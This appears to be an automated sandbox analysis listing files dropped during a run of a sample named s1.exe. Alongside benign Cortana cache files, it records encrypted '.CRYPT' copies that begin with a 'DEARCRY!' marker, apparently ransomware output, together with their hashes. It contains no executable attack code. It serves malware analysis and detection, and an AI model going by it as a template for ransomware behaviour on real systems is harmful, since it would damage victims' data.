                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\jhP1uapRf8Z8Qb959t11DNTsvB8.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):94820
                                                              Entropy (8bit):5.395085534401416
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:95029A2B8ED04C57F44599682E9CE9C6
                                                              SHA1:1E4A4BBEC5E408C925BB30FEFA2F7F1E5F6FEBBA
                                                              SHA-256:15EDF8C630F285A9B9D9033D867F4FB1D5288AD3BE707F31FB3BF7EDFA54EAEA
                                                              SHA-512:3C1F3EAA0E2D26D8CF854714E4BA4AF36B102D7AA8CE4138734406BABCD54DC3002EE31A3540009EA7E2C8C8DC3C8CB2CE6E753F410E6C3A0EF055A1E362A608
                                                              Malicious:false
                                                              Preview: /** @license React v16.1.1.. * react-dom.production.min.js.. *.. * Copyright (c) 2013-present, Facebook, Inc... *.. * This source code is licensed under the MIT license found in the.. * LICENSE file in the root directory of this source tree... */../*.. Modernizr 3.0.0pre (Custom Build) | MIT..*/..'use strict';(function(ea,l){"object"===typeof exports&&"undefined"!==typeof module?module.exports=l(require("react")):"function"===typeof define&&define.amd?define(["react"],l):ea.ReactDOM=l(ea.React)})(this,function(ea){function l(a){for(var b=arguments.length-1,c="Minified React error #"+a+"; visit http://facebook.github.io/react/docs/error-decoder.html?invariant\x3d"+a,d=0;d<b;d++)c+="\x26args[]\x3d"+encodeURIComponent(arguments[d+1]);b=Error(c+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings.");..b.name="Invariant Violation";b.framesToPop=1;throw b;}function oa(a,b){return(a&b)===b}function Qc(a,b){if(Rc.hasOwnProperty(a)||2<a.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\nEl6gm6izUrrDobE23TevZhe_fI[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\p_H40Ndq102p2Socno0_V88cqhw[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):8313
                                                              Entropy (8bit):6.052018977754187
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:ABF5B9B940857FBD14B60DEA87CCB55F
                                                              SHA1:8A8AA1FF59E26E1C9E5137269630CA25DA231F3E
                                                              SHA-256:402598AD8D9469816D4AA4E7DF4957B8A01AC03BF09A9AFED279E45777B046C8
                                                              SHA-512:F3B556775EF65D0836E3B593867DA0194F0D2E67F78CFEFF99218851466A7F7E6364369194735FFDC22021175A8959B05F71F959D968897812DDB1EAB5FACE0A
                                                              Malicious:false
                                                              Preview: (function(n,t){function i(n,t){return LocStringManager.register({uiCulture:n,name:"MicrosoftSearch",namespace:"WindowsSearchBox"},{MsbPeopleContacts:t[0],MsbPeopleGroups:t[1],MsbReverifyAccount:t[2],MsbVerifyAccount:t[3]}),i}return i(n,t)})("ar",[".... .......",".........",".... .. ..... ..... .. ....... ..... .. {0}",".... .. ..... ..... .. ....... ....."])("bg",["........",".....",".......... ....... .., .. .. ....... .......... .. ........ .. .. {0}",".......... ....... .. .. ....... . ......... .........."])("ca",["Contactes","Grups","Verifiqueu el compte per cercar informaci. de la feina des de {0}","Verifiqueu el compte per cercar informaci. de la feina"])("cs",["Kontakty","Skupiny","Chcete-li vyhledat pracovn. informace z adresy {0}, ov..te sv.j ..et","Chcete-li vyhledat pracov
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\sWWssH4VwKKxySDezvIayxUduKc[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):1799310
                                                              Entropy (8bit):6.276777165076816
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:64C2295BAA2FA6AC19AA8E78FCD509EF
                                                              SHA1:9A1A6E37CB455504CF8120E20541C9680AF9097B
                                                              SHA-256:03DDA809E459F05D75A3838522A2BF4D189337E0C9103B98EC66168FE7933C74
                                                              SHA-512:B946B280F0A9C0582F0C80D69A3AFAE82E175DD87AEF29A2AEC5EEF1DA59913F745B439E7CC72CAAA449E541D67E24C48C0968C70FF6A3E8B065926804E6EF9E
                                                              Malicious:false
                                                              Preview: (function(n,t){function i(n,t){return LocStringManager.register({uiCulture:n,name:"WsbLocStrings",namespace:"WindowsSearchBox"},{AadAccount:t[0],AcceptButtonOK:t[1],Accounts:t[2],AcknowledgeFlyoutText:t[3],ActionsSection:t[4],AddAadAccount:t[5],AddingScopeNarratorText:t[6],AddingScopeNarratorTextAll2:t[7],AddMicrosoftAccount:t[8],Album:t[9],AnaheimData:t[10],App:t[11],Artist:t[12],Author:t[13],AvailableAccounts:t[14],BestMatch:t[15],BestMatchFor:t[16],BingImageAPIError:t[17],BingImageLeftCarousel:t[18],BingImageOfDay:t[19],BingImageRightCarousel:t[20],Build:t[21],Cancel:t[22],Celsius:t[23],Clear:t[24],CloudSearch:t[25],CommandGroup:t[26],Company:t[27],ConnectedAccount:t[28],ConnectedAccounts:t[29],ContactGroup:t[30],Content:t[31],ContextMenu:t[32],ControlPanelAnnotation:t[33],CopyDetails:t[34],CopyFullPath:t[35],CortanaAnnotation_Email:t[36],CortanaGroup:t[37],CustomizeSearchHome:t[38],DesktopAppAnnotation:t[39],DirectNavSuggestion:t[40],DismissBingImage:t[41],DismissFlyout:t[42],Dismi
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):592
                                                              Entropy (8bit):7.515927116885641
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:457102F9D2686AF08F83C6EE9EB7F55A
                                                              SHA1:71FFFD49E4C749C2B4321B4DADF0C3AC5A8D6BEB
                                                              SHA-256:23B4AB08691A37E5CDFD0B514AD41A8F248A0109F4C6DAC74E73D3B512537075
                                                              SHA-512:9D03DA1E578F343AC4F8B12A7E73B31A4A99855D96EEA67C5E9929C6BB044002BA0C7E8BBF168B826569EC3FED8BE98B1CE08A79CF2DD7732D76478ED9DE7D8C
                                                              Malicious:false
                                                              Preview: DEARCRY!....+...`........BRh...&..]Z....$x....9..I......,+@.m..#.DY......;u..?.iR.r..]>....SE...5.724....X......gt|...QB..".].v....J..N.....>..M|.M#..R..s........$....7.J.1!..'.uAb..!.......".h.....9..d5.I.o.......g.?.r..8.l.l'........D%L.JMi..a...U.1......>...................R...Lp.9..DEARCRY!....8a.`.7......E.i...[.[...QR_....V....p..E..zf.aE5.r{..!#..QOJ..vw.8.....z.....L.....5...%...Zi........@..b..d"g6g.Y..:..sby%l.Dw\d.......l...Il....(.b..j.we...P.Sy............3..!!Dz....9.3..g\.*^&ku....0..8.S._j...5.............>...F..j....................).-..... ...=U.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCookies\ESE\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.080789874589543
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3186C58934A6FA8A49A787D179BBD5CF
                                                              SHA1:718F341E347BD998680A9B9DFF5389776D608705
                                                              SHA-256:78E9ABB716D395F2FEF2A83ABA3E7C1DF84D0FBC74D5CE9B7030065D908CF659
                                                              SHA-512:CC7481ED91C9A6F1AAF62138184E26228D50A3DBFC2D95D0565034A5CC6CBD87608AD5446497BAE78D7CAE82BC6D14E6168055D03595B5EB7B3D44B77BF0FEBC
                                                              Malicious:false
                                                              Preview: DEARCRY!....H.H.-ps......U.....$7...t......u......xp{.\.h.R)k.2U.#....?....*.."..k.d...r..v<..(>...j.ss..B`.D. .p.....u......Y3C..b.k.....2.....S6..30`!8.E.y..~..q6D.3Sy."._]..<....:.2.:......6...V( .W_.f}.........2...Qe........Xb#+.n...p/..p.\...................?^.}\.?.6.(v2
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetHistory\BackgroundTransferApiGroup\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.311239196915773
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F12E5FC3359DCBF44F3CE790044CE959
                                                              SHA1:042A01E61558724371C0560DAB14B40346E1A5A3
                                                              SHA-256:BF9ACD7697C714290D131CC83D44D3A80241A450DBCEAEBBFF48FA20B45E7E67
                                                              SHA-512:8C4D3BC709F39AF9814A0FCE54656699C091CFEA5DFC481E200669353B46C6C52CFA192EE05FF47FEA32A1000E6F6B1E67E0A0514408EAA5D8B1125D778E3568
                                                              Malicious:false
                                                              Preview: DEARCRY!....6......7....3.....2.L.....$;\0.s81.U.)......b..TA.~)..b..S.a..H.#....z...5{.....d0./|...K.d..CN...s....4....m.\I...c.)A.T.=o..O....@.\].y.d.5..f.\F..0...npbQt+*........a^.p>..........t........v...+...-f....o.j.]T}.....3LWM...I..A.7 ..D......B.:U...............%k..:..(,S.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetHistory\BackgroundTransferApi\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.189485480641088
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0C29FFBF437B622E25D3B3ED1708CC9D
                                                              SHA1:9C40AE3CB5CA5A0FF2E3003455863671048FCCEB
                                                              SHA-256:6117F3F799D166B1971C2CCB00B34ECA483ED359BD3B30A5223CDE09A86B253E
                                                              SHA-512:BF9A5E0C6528DCF73191824699470D0C471E237E251943990851086E38AC8F72EA8021A46ACB84EFA90161A54C96C6649EE2EA73B3780B12E6FC4E7B22441FD8
                                                              Malicious:false
                                                              Preview: DEARCRY!....b.3..^.zpc..L.Y...J!ke3g`.P....$.r..m.7......^.9G...+s.nF...<?...>p. C*d%.3f..N.....f...7.0T...].E..=Ej...].J...{.Z\Q-..D.7V]......o.........<...Z.A...~d:-.U..nT.F.....b.s.......&.O."}.8..."l....~..y.;z...,q.f^J(....i....pX..........t.}.....>.x.............9Uy)..Et.Dz_.|B.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\228W96JG\www.bing[1].xml
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\8AMWS4F7\www.bing[1].xml
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):109
                                                              Entropy (8bit):4.666286596353571
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1165CD3B44C3AA639C4C20E8941453F8
                                                              SHA1:5B10449F312EBD06A2A21DD5D77753FA585B5970
                                                              SHA-256:C1C92D02C3C549A5A402FBD09332892F914F70C537C9422DAF0F80DCF8A13388
                                                              SHA-512:4643CA7C5798253DDBAE4C9770DB1FBFC68EB79C161B5DFDEF5EDE9579E98F4CDBFEEAD7BD370899FD06A1D6B8E8BB0E84900156C92FF6022BC402D0882327B2
                                                              Malicious:false
                                                              Preview: <root></root><root><item name="eventLogQueue_Online" value="[]" ltime="2823117424" htime="30873431" /></root>
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.156595826946797
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C1D76C0A76CC7DA54F642D733D07D471
                                                              SHA1:E20BAEBBE656FDEB6E55D8E357604930C385F9B2
                                                              SHA-256:726AFAD7BD1B3F13BC387D90698DC838BD3AED65CBB786B84B4DF02B22CB78B9
                                                              SHA-512:4D102B171DD964BFA383FAE24F775BAB0D6034708ADC971C323B22E7CDE1D565903130B0297E04DB2862484D33D22DD6968146D2C2E1080CF47879A5C71C9FF9
                                                              Malicious:false
                                                              Preview: DEARCRY!......&.$.n.....h.:m%.N"9yF.'......~.r.....I7..+.k-...Y....XUS...[D_.....}F<.....B.q..w{.$x.TM...Nh.p..1B.`Vtp7...Rc..:.......!.j3l?0 ..A..".dyW.\Cl.g9.....p2M.i.`.. ]....l..s@.... .....?.#E.q.!.o......1+.k...../vs.f.+.Y%x".i?d..>c.K1.5L."......?3..............To,..1..s.X.#T
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2621440
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6ACC0D4D495EDEAB11E5BB00B4252BCC
                                                              SHA1:BE93423B744E7D78A3EEF9195A0675E949C2E486
                                                              SHA-256:97317F60F2D6E560686967DF058DEE216D3C36D0BAD4A61388583BB782D97FA3
                                                              SHA-512:B043C57B154A3EC3921D0B0DDAB50FF984893032429C726DA905222171FC655BE42AE122E0D4B743EC0A252FD4E65A6361655630DA53F465940B9E329D6BE6E1
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2621736
                                                              Entropy (8bit):7.999932870469829
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:9D5D5AF1E36629763E6CC386BF5BF668
                                                              SHA1:317C3B414404503C41903CF8410999B181E0CC74
                                                              SHA-256:990E67A091AB71E2E612768A022D7CF228EC888B0DEAD4A552AEEE0A6CC0000A
                                                              SHA-512:FCA53F24AA8D4CC922EA3E4DD9D74A13420B563247DF66EC4F1DCCDBE365D11CEF3FBC9A191DC59B67C906B4982643F6D3D56B090AA57686F7406C55FCABEF6F
                                                              Malicious:true
                                                              Preview: DEARCRY!....v..K.^b..&I..2..r...'.\'...V0......*...L=....9..?3.Q..@a.. e.Y.i.*....B}0......L.....RJ.+{....i..(ton.._..'r....]4.Z>........P...r......B.....R.......*...3;...t.?1.+....2T.:.t..d...J......][..3S...v........-K_I....mo.5.X.w.2.....W....._+.6......(.......W.&...\x...f.1..:[....`....._..R.S.RWu....R.{........\J.eX..;vr9..9....ow..R@..`..(.q.)...`..*.!..N..g.f.V....W..EN...yj.:s..&.I.4....9..=..$.....=.2b.1...>1L.g......<.....J@u..7.>.c..0n.=O`z.x....|.&.;.k..L..y...D.m:cm...M.].. E2Yk..;F.Iw...#M.o..6\.)|.<...R'..*.....psB.....=.O.3.9a..#..9Q......Z...|.,.R...L;*.kf........ ...."=....:..-.s43..e...V.?W.pg..Ui.. .-..V..'I.2J.......A..U...{.xBd.w.U...7.............d.eM..v.t.|.30...t.Ms.8C.D.-+a.(.lU.e,b....X.+|...p.%.R.K.....Z8c\.7L..*..-..%..D"..y.....7..*.Mu.P..I.u..>!?.e*b9...."-.m@k:E...Ty.V+...y.....t-....}{.5$J......*.T......W..7.<.?.'.....q..).I.>..mc.;A..B3'.~...,.BI).a /a9).m..L..Q.C6^..75.%.3...R..FV!....]d.. .....U.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\edb.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1048576
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E6065C4AA2AB1603008FC18410F579D4
                                                              SHA1:9A7DCFD9029DE86DC088EE6EBBEF48DF90E7C6CD
                                                              SHA-256:4E29AD18AB9F42D7C233500771A39D7C852B200BAF328FD00FBBE3FECEA1EB56
                                                              SHA-512:1339D6533A0B875DB3F1F607290F8DE0E8F79172390FAA03FE1AE15CB738B9C64828B08ED11721ACC2909CC9394CC9CC115C9D7C9895CEFA76F5146614961277
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\edb.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1049168
                                                              Entropy (8bit):7.999847699160814
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E155ECF3F1D7C47EC9D6562B1DCBFE8E
                                                              SHA1:38EA27AF961D8765BE9B41E4F8C9DE4DCD5C6BDF
                                                              SHA-256:97B78B1581EE8A025F6773D76B28E6788A4429AE707E4725030017F204306D9F
                                                              SHA-512:CC925E431AEF09874485880EE270DB83983E703C4618D1C60ECDFB6E301205C49FD310CEDA87D2831DD27F5831841B1DAEF43DA8F1C70A25FDCA820AA08C7BE2
                                                              Malicious:true
                                                              Preview: DEARCRY!......_........T..X....A..W...~)O....W.C.r'.....z...t.*.'.......^J".:...f.....$.{....+t.......ZK.l.UT...#K T\......1S..8.@...Yd.cPY04ssw...s\...{i.^.l$....]....xIM.ww.P...!.l@.V..&.?...O).?.....c..;.....X#.<...O.I1H.fU....6...$!..OQD..Y..\..t.ga.................64.&f.).E..Z..#...-.3...(4......W...".!w..q40l.m<.J.#p....`..v.mj.j.`4..).A.V..7(...i..."G.,02a&J.7..u.X.R...,.x.\.T....%N.)zoLsY...d.ze%..W..QfSh.&~..~....W*.0=v.g2...1.q.i....#A..j.ipo`m.9.#.........5N.u.hM[@.f..?8..-p%.L..Y'.K..d....t.1z....:..3.e...............#..i..nL.....L..k......(!.V...irb..=...`.[...s....*....p...\F.5r...k........B....7Vw2..>.@nrN.#.%.....>....`S...]........(....5.K...uT."..A.i...C..R...C.4.4 ....o....j......../k.X+.....k..k.8S...+.....3....Qf.....k..+..?.5...u.7.o.....N..JJ.3-...q........B.W..vA....a..0........&;..L.{7..Z..CC.Hu;r..+...-Z......L..9u4....DC.+.I$-E.W.1)..x!../*.OX7...:}.]F.d.[...|.;.../...M. 4i......8...,~.=..|k.nT.?...|.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):524288
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7A5A56ACEE13DF0AF75987524BD69C60
                                                              SHA1:CE1777CFBF97B7D3C90666DD7CD4D28F809FCA83
                                                              SHA-256:5F7A26E1D78CD171B1AAB0208DA133E996C75285B94AA8EF06C6578EA0B26903
                                                              SHA-512:92372C9DF972E13BEF0B03E8A281934959119289D00683B3849B31CB56A07A123FF0AB619F388190E3DBA556B5C9A258B2D64623672654C7607FE2E86CAB0BEF
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):524584
                                                              Entropy (8bit):7.999650216326738
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E641D973CCB884DC6CDD4BA24D5A2804
                                                              SHA1:07E50995C0EDD548E532BA63EDE0AD9B27B6D84C
                                                              SHA-256:8D6128D52C093C1D269A7C65512F1C10F14D1E63FFE78A735522B8ACE88B0E53
                                                              SHA-512:6A9770FF65E994DEE9F9BCBAC304A0FF18D21AE059DB569B5654F609800AA13123F3D84B0296C458EBF51D514E9D9540E0C5D74D86FE832B49BF515ACC5C5845
                                                              Malicious:true
                                                              Preview: DEARCRY!......R+@..H...D.@.3K.9kq...... J/.l.......Z.6. '.P.>..4f.7.P.D....d....>..h}`......K(.WX.$.,.....x9~.N3.i..n...).".R8*....MUTpoJ..........q.q'<..k.......c.8..@.u.6.O......};1...8...Fz..f....`..e:c`.8..j.....s..[.n.....V.Q7b^v..2..60..y.Y.5.................%...r..EQ.R4..*.....R....`.g.~.3..(.....W...U...}.#.I{.E..0_...s@..._:B....(.Ik:.g..-@._.....C..`...a.I.z.....xx.q...z.........R..g.....7z}..X..M....P.r.rI...Z.6u.....{+.$veK'..].....g0T.k.<.0.@#.J.n......QQ.i.S3..)..`..t.@.L...Wx.t...x.Xm...[.../.R...,..u......5Li.g.t)..A....6*@z(h.xqU.YN.3tS......I..8+..bP...S.....+\~.k..!].$...\../.....b...v.?.......=...,...K?..Q{3..D<...&............_r.R.)........FY...v;..../.. ..J....}-j...O.........xSn1.}w.Y..Fg...b.3.../0+.!0|......).yj....;.R%*....h.....*h..1.~.kH..5.@=s5>..h....]....+...Wb~.....~.....>Gj.%.s.K.....-.x.}...e....w.,....<.e[i..C...../.......~3~.!.&m.bh.F.s#.U)...4>.0#.H.f...d..p0.Z....h.f...<.%@..C..{r.....
